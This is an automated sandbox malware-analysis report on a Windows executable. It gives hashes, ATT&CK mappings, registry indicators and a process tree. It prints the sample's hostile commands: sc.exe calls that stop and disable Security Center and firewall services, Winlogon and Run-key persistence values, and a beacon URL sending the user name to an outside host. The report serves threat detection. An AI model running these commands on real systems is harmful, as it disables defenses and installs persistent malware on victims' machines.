1fab73b02d8169d46a2dc424d3b7cc6d6b54867d4264e304cea98a07daa1fe65

Analysis

max time kernel
94s
max time network
143s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
07/09/2024, 21:48

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General

Target

d2e7e4696b554b4350775d88cafe0fb2_JaffaCakes118.exe
Size

32KB
MD5

d2e7e4696b554b4350775d88cafe0fb2
SHA1

db2f0964be217d319f93571d941e0e80e2b29ece
SHA256

1fab73b02d8169d46a2dc424d3b7cc6d6b54867d4264e304cea98a07daa1fe65
SHA512

e10d1ab7d4110302305638c69cd0d4b190a1bc7e08c008dab02c61bff4bceba87464958d60e8ff0063c3f313cf3521c859e33486c00d7db74205318d642cce72
SSDEEP

384:OYaZCrnwTJ1HY0jqkiQcVVnsShIZnCiZn:ORJ1HY3n3IZnCEn

Score

10^/10

discovery evasion execution persistence

Malware Config

Signatures

Disables service(s) 3 TTPs
evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\shell = "Explorer.exe \"c:\\winlogon.exe\""	d2e7e4696b554b4350775d88cafe0fb2_JaffaCakes118.exe

Modifies service settings 1 TTPs
Alters the configuration of existing services.
evasion

Windows Service
T1543.003
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Control Panel\International\Geo\Nation	d2e7e4696b554b4350775d88cafe0fb2_JaffaCakes118.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\smss = "c:\\winlogon.exe"	d2e7e4696b554b4350775d88cafe0fb2_JaffaCakes118.exe

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2896	sc.exe
3616	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	d2e7e4696b554b4350775d88cafe0fb2_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Modifies Internet Explorer settings 1 TTPs 37 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Internet Explorer\GPU\AdapterInfo = "vendorId=\"0x10de\",deviceID=\"0x8c\",subSysID=\"0x0\",revision=\"0x0\",version=\"10.0.19041.546\"hypervisor=\"No Hypervisor (No SLAT)\""	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "31129967"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLLowDateTime = "1251635200"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLHighDateTime = "50"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Software\Microsoft\Internet Explorer\VersionManager	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31129967"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "3520485339"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 709773d26f01db01	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "432510718"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "3523140865"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000074472bebe7af3a46942426e1e277b42a0000000002000000000010660000000100002000000091a2f45904b9b2286b7e032276973896571059873978dffa471f803da227f09e000000000e80000000020000200000007460cb089967ab2726107f2cbfb9f99d998446367973d999600175872b0724e9200000003ea83623d81b5ca575742f9de66d158207eb36486b58f4c647ff4f7baa2d51a040000000f9a0c1f371b15787ccbfe8119fcb8f7d8b6fa5aceb71c48f5ef0581843e2ba14cdce24064b5f76a72ec88a2f1e09bec373089ae82eee866a4215a6cd8edbe845	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 700876d26f01db01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{FD76544B-6D62-11EF-9912-76E8F1516C8A} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Software\Microsoft\Internet Explorer\GPU	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000074472bebe7af3a46942426e1e277b42a000000000200000000001066000000010000200000004ab40581832d794a174b5de75778278ef0bdcf756cc8d42a15e932378791afb6000000000e800000000200002000000085798599fc5f7f05325f47752764e5a048d84c8725a27e1137c87ba9fb34cda42000000086e9c38a3e7e70f0869052a981616d26860e6831a922822d8e78ea8d0570f9d8400000008d6288476e4a1c986265518cdda8c435ebe044dbf7ce2d9c2f0410422ae43147e55ef49a748480ca6b30a620ce7b76b79569e60422b58e4c1a34a274ced208ae	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Software\Microsoft\Internet Explorer\VersionManager	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "3520485339"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31129967"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2840	iexplore.exe

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
4256	d2e7e4696b554b4350775d88cafe0fb2_JaffaCakes118.exe
4256	d2e7e4696b554b4350775d88cafe0fb2_JaffaCakes118.exe
2840	iexplore.exe
2840	iexplore.exe
3560	IEXPLORE.EXE
3560	IEXPLORE.EXE
3560	IEXPLORE.EXE
3560	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 4256 wrote to memory of 3152	4256	d2e7e4696b554b4350775d88cafe0fb2_JaffaCakes118.exe	86
PID 4256 wrote to memory of 3152	4256	d2e7e4696b554b4350775d88cafe0fb2_JaffaCakes118.exe	86
PID 4256 wrote to memory of 3152	4256	d2e7e4696b554b4350775d88cafe0fb2_JaffaCakes118.exe	86
PID 4256 wrote to memory of 4216	4256	d2e7e4696b554b4350775d88cafe0fb2_JaffaCakes118.exe	88
PID 4256 wrote to memory of 4216	4256	d2e7e4696b554b4350775d88cafe0fb2_JaffaCakes118.exe	88
PID 4256 wrote to memory of 4216	4256	d2e7e4696b554b4350775d88cafe0fb2_JaffaCakes118.exe	88
PID 4256 wrote to memory of 2840	4256	d2e7e4696b554b4350775d88cafe0fb2_JaffaCakes118.exe	90
PID 4256 wrote to memory of 2840	4256	d2e7e4696b554b4350775d88cafe0fb2_JaffaCakes118.exe	90
PID 3152 wrote to memory of 2896	3152	cmd.exe	91
PID 3152 wrote to memory of 2896	3152	cmd.exe	91
PID 3152 wrote to memory of 2896	3152	cmd.exe	91
PID 4216 wrote to memory of 3616	4216	cmd.exe	92
PID 4216 wrote to memory of 3616	4216	cmd.exe	92
PID 4216 wrote to memory of 3616	4216	cmd.exe	92
PID 2840 wrote to memory of 3560	2840	iexplore.exe	93
PID 2840 wrote to memory of 3560	2840	iexplore.exe	93
PID 2840 wrote to memory of 3560	2840	iexplore.exe	93

C:\Users\Admin\AppData\Local\Temp\d2e7e4696b554b4350775d88cafe0fb2_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\d2e7e4696b554b4350775d88cafe0fb2_JaffaCakes118.exe"
1⤵
- Modifies WinLogon for persistence
- Checks computer location settings
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4256
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c sc stop wscsvc sc config wscsvc start=disabled
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3152
- - C:\Windows\SysWOW64\sc.exe
    sc stop wscsvc sc config wscsvc start=disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:2896
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c sc stop sharedAccess sc config sharedAccess start=disabled
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4216
- - C:\Windows\SysWOW64\sc.exe
    sc stop sharedAccess sc config sharedAccess start=disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:3616
- C:\Program Files\Internet Explorer\iexplore.exe
 "C:\Program Files\Internet Explorer\iexplore.exe" http://choxie.ch.funpic.org/update.php?datos= ...:::.9/7/2024 9:49:00 PM:::... Instalacion Completa &user=Admin
 2⤵
 - Modifies Internet Explorer settings
 - Suspicious use of FindShellTrayWindow
 - Suspicious use of SetWindowsHookEx
 - Suspicious use of WriteProcessMemory
 PID:2840
- - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
 "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2840 CREDAT:17410 /prefetch:2
 3⤵
 - System Location Discovery: System Language Discovery
 - Modifies Internet Explorer settings
 - Suspicious use of SetWindowsHookEx
 PID:3560

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776

Filesize
471B

MD5
04ede744c1294fb087496e0d371511c5

SHA1
7f0fe32d23103dbc1c1028ffb626863a795358e6

SHA256
0a4b8f0a5fa70ec6f8346ff1d99abc440b7df2ce594de520a4c88fc2a6589de3

SHA512
0adf65c1bfd504779004106c4c1c41d3534eb9e5c8ae320adeb3f655b9903b7f9028ae73b6ee3d2471dae7d866bea7db001d9eea519a23b964ba31a5708c75eb

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C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776

Filesize
404B

MD5
91c9b653aabd07a319437fc2612e3646

SHA1
fdf4e394df18ce83bc99cf22bfa7dc3b5a12ed10

SHA256
c27fad2f70517a0ee533b7bf25a499af0d970a57b253cd2af3be18244a2d70f6

SHA512
dd83e3e82a2310fc0decd1509b3f3c1c791c67a1cd144e8c7de29bdd84d223d96129f024daf1426fdccde49358b23b514e31ef5693848e2ee587227f93a4af6e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\4329235D\suggestions[1].en-US

Filesize
17KB

MD5
5a34cb996293fde2cb7a4ac89587393a

SHA1
3c96c993500690d1a77873cd62bc639b3a10653f

SHA256
c6a5377cbc07eece33790cfc70572e12c7a48ad8296be25c0cc805a1f384dbad

SHA512
e1b7d0107733f81937415104e70f68b1be6fd0ca65dccf4ff72637943d44278d3a77f704aedff59d2dbc0d56a609b2590c8ec0dd6bc48ab30f1dad0c07a0a3ee

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads